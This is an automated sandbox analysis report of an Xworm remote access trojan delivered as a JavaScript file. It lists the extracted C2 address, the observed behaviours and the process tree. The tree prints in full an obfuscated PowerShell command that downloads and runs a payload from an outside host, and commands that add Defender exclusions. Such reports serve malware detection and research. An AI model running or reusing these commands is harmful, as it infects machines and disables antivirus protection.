Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 08:25

General

  • Target
    PO300926.js
  • Size 33KB
  • Sample260930-kbg2masbrd
  • SHA256 ca9d3d85b31f567b771cd886ea7f5ff7b67953d1fe3083241a3f3de554f9b5ca
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 102.220.160.146:5050

Mutex
  • p7sMzY5ciavfaEoj

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 3 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PO300926.js
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    PID:984
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgneDltcHJlZ3VzdGFudCA9IHZzM2h0dHBzOi8vcm91ZycrJ2gtdHJ1dGgtZTA3Mi5wdWJsaWNmJysndHByZXNlbmQud29ya2Vycy5kZXYvemlwb2lxdnMzOyAnKyd4OW12ZW50cmlsb3F1aXN0aWMgPSB2czNDOk9IMFVzZXJzT0gwUHVibGljT0gwRG93bmxvYWRzT0gwcGF5JysnbG9hZCcrJy50eHR2czM7IHg5bWNvbnNlcnZhdGl2ZWx5ID0gW2FjdGl2YXRvcl06OmNyZWF0ZUluc3RhbmNlKFtuZXQud2ViY2xpZW50XSk7IHg5bWNvbnNlJysncnZhdGl2ZWx5LkhlYWRlcnMuQWRkKHZzM1VzZXItQWdlbnR2czMsIHZzM01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbicrJzY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAnKycoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMC4wLjAgU2FmYXJpLzUzNy4zNnZzMyk7IHg5bWNvbnNlcnZhdGl2ZScrJ2x5LkRvd25sb2FkRmlsZSh4OW1wcicrJ2VndXN0YW50LCB4OW0nKyd2ZW50cmknKydsb3F1aXN0aWMpOyB4OW0nKydmaXJlcGxhY2VzID0gKEdldC1Db250ZW50IHg5bXZlbnRyaWxvcXVpc3RpYyAtUmF3KTsnKycgeDltbG92ZXNpY2sgPSB4OW1maXJlcGxhY2VzLlJlcGxhY2UoVk5rKlZOayxWTmtBVk5rKTsgeDltUGFuJysndGFncnVlbGlhbiA9IFtjaGFyW11dJysnKCh4OW1sb3Zlc2ljay4nKydUb0NoYXJBJysncnJheSgpKScrJ1soeDltbG92ZXNpY2suTGUnKyduZ3RoLTEpLi4wXSk7IHg5bScrJ2FzdHJvbGFiZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luIHg5bVBhJysnbnRhZ3J1ZWxpYW4pOyBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKHg5bWFzdHJvbGFiZXMpIGU3RSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoVk5rb0xaZmhUeGpIVGptaUFteicrJ3dYY29Ca29oc1c0TDhqZCcrJ2hhSlp4VjMwQmtuYnhseTMrb3h3RFBpUUlYOHpvUzUyUGpoRitZZFI5RXhVdnBaREhkQmt4THdjWmZhMCs1d1BzakZscWxDZHowUUE9Vk5rLFZOa0pvWXJISEZzSkVIJysndycrJ0RDdnplaEI1Ris1NC9BJysnL1NNcFZ6JysnNmhrNlNla2R3MGc9JysnVk5rLFZOa0huVTVteHF4NkpwK1JGajNwdmxUVEhESzNwNGdQU3ZnWWtxJysnUUdZQkJaYWl4S1VUaVpWZkR4Uk1MMHlCS0k0YTZWTmssVk5rRFhOaU9YVmkvcE5FJysneXNGMlYwdWtIJysnWDh4MVJrUnhXJysna3p3bHQzcW1XeG82VT0nKydWTmssVk5rTzhEaGxQT2tCTW5hVXIzTWllTEpDM0w3VUNBaldsNHgnKyd4MElvMicrJyt5clEnKyc1UT1WTmssVk5rVk5rLFZOa3k1alpqbFplSTE4WlcnKycyNFRwVlo0Y2lIQnRibFJCc052ajVhVXM5RmpaVUU9Vk5rLFZOa3BVTjRyYmlJTExmY3hRYzh4aVJyZmhHbTVYRkVhK1V6RytZZmxudUEwRUU9Vk5rLFZOa3dWUnVaTEY1Skd1VjI2QmEnKydpbXdBZHFybk03WnhIOUN1eXcvanczbGRWSkUnKyc9Vk5rLFZOa2ErS3ROK0pZRnI4RFY3bnpaNTlTYjVQeE9oakNlVVVTSzRyUndKb214Rjk1bmMwSVphaGJvclp5VGEyZDNmNUVWJysnTmssVk5rVGtCNWtqcU1Qckp1bjJNSGVMbC9RcFErbXRjU0RIOEpCaVRtZEZncm9PQT1WTmssVk5rVk5rLFZOazl2WDJDaEdFcWlMN0RkMlE2d0Zkd05WTmJhQ3N2ZjA4Vll4VUZpK01GU0U9Vk5rLFZOazdOeTRWWDdlcnF0SHhUbnJNa0pqamptT1duS2EnKycwVnNHS1ZrT1hNdDA5WWc9Vk5rLFZOazJVTVlKNEpRM1UySGJpNEcnKycrSCcrJzlrcE1sUXpQekh5THNrcDgnKydYd1hoUXdSN2M9Vk5rLFZOa1ZtenQya2NVTzAnKycraFNFUXlZTUxnSTA3WCcrJ0ZPWnUnKydYS3QnKydHenBOdkdoU3FPcUk9Vk5rLFZOa1ZOayxWTmtWTmssVk5rVk5rKTsgUmUnKydtb3ZlLUl0ZW0gLVBhdCcrJ2ggeDltdmVudHJpbG8nKydxdWlzdGljIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDbycrJ250aW51ZScpIC1jcmVwbEFjRSAgJ1ZOaycsW0NIQXJdMzkgIC1SRXBsQWNlICAoW0NIQXJdNzkrW0NIQXJdNzIrW0NIQXJdNDgpLFtDSEFyXTkyICAtUkVwbEFjZSAoW0NIQXJdMTE4K1tDSEFyXTExNStbQ0hBcl01MSksW0NIQXJdMzQtUkVwbEFjZSAnZTdFJyxbQ0hBcl0xMjQgLVJFcGxBY2UgJ3g5bScsW0NIQXJdMzYpIHxpZXg=')) } | Invoke-Expression"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Enumerates connected drives
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1364
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:976
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2968
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2776
  • C:\Windows\system32\conhost.exe
    conhost.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3240
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe
      2⤵
        PID:6100

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 bd800bc8e50683db030f389dd7c8c9b194a1b7b3f24124d59186b9d185b1f678
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 48d7c4ffa0d08ae2fcd4ff9fd3427608dfcef9d292d2a1536240816e71c69944
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_rik1kfse.3qq.psm1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rik1kfse.3qq.psm1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/976-923-0x0000000000400000-0x0000000000410000-memory.dmp

          memory/976-924-0x00000000052E0000-0x000000000537C000-memory.dmp

          memory/976-956-0x0000000005DB0000-0x0000000005DBA000-memory.dmp

          memory/976-955-0x0000000005DE0000-0x0000000005E72000-memory.dmp

          memory/976-954-0x0000000006300000-0x00000000068BA000-memory.dmp

          memory/1364-87-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-145-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-7-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-8-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-9-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-10-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-11-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-12-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-13-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-14-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-15-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-16-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-19-0x00000233FCE40000-0x00000233FCEAC000-memory.dmp

          memory/1364-37-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-57-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-101-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-125-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-73-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-143-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-141-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-139-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-137-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-135-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-133-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-131-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-129-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-127-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-123-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-121-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-119-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-117-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-115-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-113-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-111-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-109-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-107-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-105-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-103-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-99-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-97-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-95-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-93-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-91-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-89-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-5-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-918-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-85-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-83-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-6-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-0-0x00007FFF4518F000-0x00007FFF45190000-memory.dmp

          memory/1364-79-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-71-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-69-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-67-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-65-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-63-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-61-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-59-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-56-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-81-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-77-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-53-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-51-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-49-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-47-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-45-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-41-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-39-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-34-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-32-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-27-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-25-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-43-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-23-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-35-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-29-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-21-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-20-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/1364-922-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-3-0x00000233E4670000-0x00000233E4692000-memory.dmp

          memory/1364-4-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp

          memory/1364-75-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp

          memory/2776-950-0x000000006FEE0000-0x000000006FF2C000-memory.dmp

          memory/2968-935-0x0000000006820000-0x000000000686C000-memory.dmp

          memory/2968-942-0x0000000008120000-0x000000000879C000-memory.dmp

          memory/2968-934-0x0000000006770000-0x000000000678E000-memory.dmp

          memory/2968-941-0x00000000079A0000-0x0000000007A43000-memory.dmp

          memory/2968-936-0x0000000007950000-0x0000000007986000-memory.dmp

          memory/2968-940-0x0000000006D50000-0x0000000006D70000-memory.dmp

          memory/2968-927-0x0000000005990000-0x00000000059B2000-memory.dmp

          memory/2968-929-0x00000000061F0000-0x0000000006256000-memory.dmp

          memory/2968-937-0x000000006FEE0000-0x000000006FF2C000-memory.dmp

          memory/2968-943-0x0000000007AE0000-0x0000000007AFA000-memory.dmp

          memory/2968-944-0x0000000007B50000-0x0000000007B5A000-memory.dmp

          memory/2968-928-0x0000000006180000-0x00000000061E6000-memory.dmp

          memory/2968-926-0x0000000005B30000-0x000000000617A000-memory.dmp

          memory/2968-925-0x0000000002F20000-0x0000000002F56000-memory.dmp

          memory/2968-932-0x0000000006360000-0x00000000066BB000-memory.dmp

          memory/2968-945-0x0000000007D50000-0x0000000007DE6000-memory.dmp